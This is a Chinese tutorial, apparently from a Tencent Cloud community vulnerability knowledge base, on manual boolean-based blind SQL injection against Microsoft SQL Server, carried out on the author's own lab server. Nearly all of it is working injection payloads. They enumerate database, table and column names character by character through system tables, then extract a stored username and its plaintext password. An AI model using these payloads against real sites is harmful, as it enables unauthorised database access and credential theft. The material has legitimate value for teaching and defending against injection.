Microsoft SQL Server手注之布尔型盲注---漏洞知识库

判断是否存在注⼊' and 1=1 and 1=2猜测数据库名先猜dbid是否存在：http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1

上面的这条语句的意思是查询 dbid=5 是否存在，最后那个=1就是是否存在的意思！存在说明返回正常！

因为我数据库新建了两个：test（dbid5）、saulgoodman（dbid6）

所以我们就能查询出他存在dbid6：

http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6)=1

查询dbid7的话就会返回错误：因为它不存在

根据dbid猜库名，先猜出长度http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1

因为我们dbid5的数据库名是test，他的长度是4！dbid=5 and len(name)=4 这条语句的意思是查询 dbid=5 的这个数据库名的长度是否=4，返回正常说明它的长度=4！

http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6 and len(name)=11)=1

我们查询dbid6的数据库名是saulgoodman，他的长度是11！dbid=6 and len(name)=11 这条语句的意思是查询 dbid=6 的这个数据库名的长度是否=11，返回正常说明它的长度=11！以此类推查询多个数据库名的长度！

根据dbid查询挨个查询数据库名

PS：substring(str,start,len) 截取字符串的作用，第一个参数为要截取的字符串，第二个参数为从哪里开始截取，第三个参数为截取的长度

ascii(char) 把字符转换为ascii值

因为我们dbid5的数据库名是test，他的第一个字符t是ASCII码为116，我们就可以使用下面的语句来判断：

and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1)) = 116

依次查询：

第二个字符：e and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),2,1)) = 101 第三个字符：s and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),3,1)) = 115 第四个字符：t and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),4,1)) = 116

这样我们就猜解出来了数据库名为：test！

如果想要猜解第二个数据库名的话那么就吧dbid更改为6，然后按照上面的操作重复就好了！

猜解表名

因为我们知道了数据库名是test，然后我们就可以使用下面的语句来查询第一个表名的长度是否等于5(表名是users)：

and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and len(name)=5)=1

由上图可见，页面返回正常说明它的长度是5，那么我们就可以挨个猜解他的字符：users

猜解第一个字符：u and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=117)=1 猜解第二个字符：s and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,2,1))=115)=1 猜解第三个字符：e and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,3,1))=101)=1 猜解第四个字符：r and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,4,1))=114)=1 猜解第五个字符：s and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,5,1))=115)=1

因为我们知道了数据库名是test，第一个表名是 users，然后我们就可以使用下面的语句来查询第二个表名的字符(表名是info)：

猜解第一个字符：i and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))=105)=1 猜解第二个字符：n and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,2,1))=110)=1 猜解第三个字符：f and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,3,1))=102)=1 猜解第二个字符：o and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,4,1))=111)=1猜解列名

因为我们知道了表名是 users，那么我们可以猜解 users 表名下的列名：（列名是 username）

猜解列名第一个字符：u and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,1,1))=117) 猜解列名第二个字符：s and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,2,1))=115) 猜解列名第三个字符：e and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,3,1))=101) 猜解列名第四个字符：r and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,4,1))=114) 猜解列名第五个字符：n and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,5,1))=110) 猜解列名第六个字符：a and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,6,1))=97) 猜解列名第七个字符：m and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,7,1))=109) 猜解列名第八个字符：e and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,8,1))=101)

这样就猜解出来了第一个列名，username！

第二种方式：我们有 id、username、password、age 四个列

获取第一列：（列名是id）

获取第一个字符：i and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),1,1)) =105 获取第二个字符：d and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),2,1)) =100

获取第二列：（列名是username）

获取第一个字符：u and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),1,1)) = 117 获取第二个字符：s and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),2,1)) = 115 获取第三个字符：e and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),3,1)) = 101 获取第四个字符：r and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),4,1)) = 114 获取第五个字符：n and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),5,1)) = 110 获取第六个字符：a and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),6,1)) = 97 获取第七个字符：m and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),7,1)) = 109 获取第八个字符：e and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),8,1)) = 101

获取第三列：（列名是password）

获取第一个字符：p and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),1,1)) =112 获取第二个字符：a and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),2,1)) =97 获取第三个字符：s and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),3,1)) =115 获取第四个字符：s and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),4,1)) =115 获取第五个字符：w and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),5,1)) =119 获取第六个字符：o and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),6,1)) =111 获取第七个字符：r and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),7,1)) =114 获取第八个字符：d and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),8,1)) =100获取数据and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

们知道了表名是：users，列名是：username、passwrd，那么我们就开始爆数据了：（saul）

判断username列第一个字符：s and ascii(substring((select top 1 username from users),1,1)) = 115 判断username列第二个字符：a and ascii(substring((select top 1 username from users),2,1)) = 97 判断username列第三个字符：u and ascii(substring((select top 1 username from users),3,1)) = 117 判断username列第四个字符：l and ascii(substring((select top 1 username from users),4,1)) =108

这样就获取到了第一个用户名为：saul

获取 saul 的密码：（密码是saul520）

判断 password 列第一个字符：s and ascii(substring((select top 1 password from users),1,1)) =115 判断 password 列第二个字符：a and ascii(substring((select top 1 password from users),2,1)) =97 判断 password 列第三个字符：u and ascii(substring((select top 1 password from users),3,1)) =117 判断 password 列第四个字符：l and ascii(substring((select top 1 password from users),4,1)) =108 判断 password 列第五个字符：5 and ascii(substring((select top 1 password from users),5,1)) =53 判断 password 列第六个字符：2 and ascii(substring((select top 1 password from users),6,1)) =50 判断 password 列第七个字符：0 and ascii(substring((select top 1 password from users),7,1)) =48 ---来自腾讯云社区的---漏洞知识库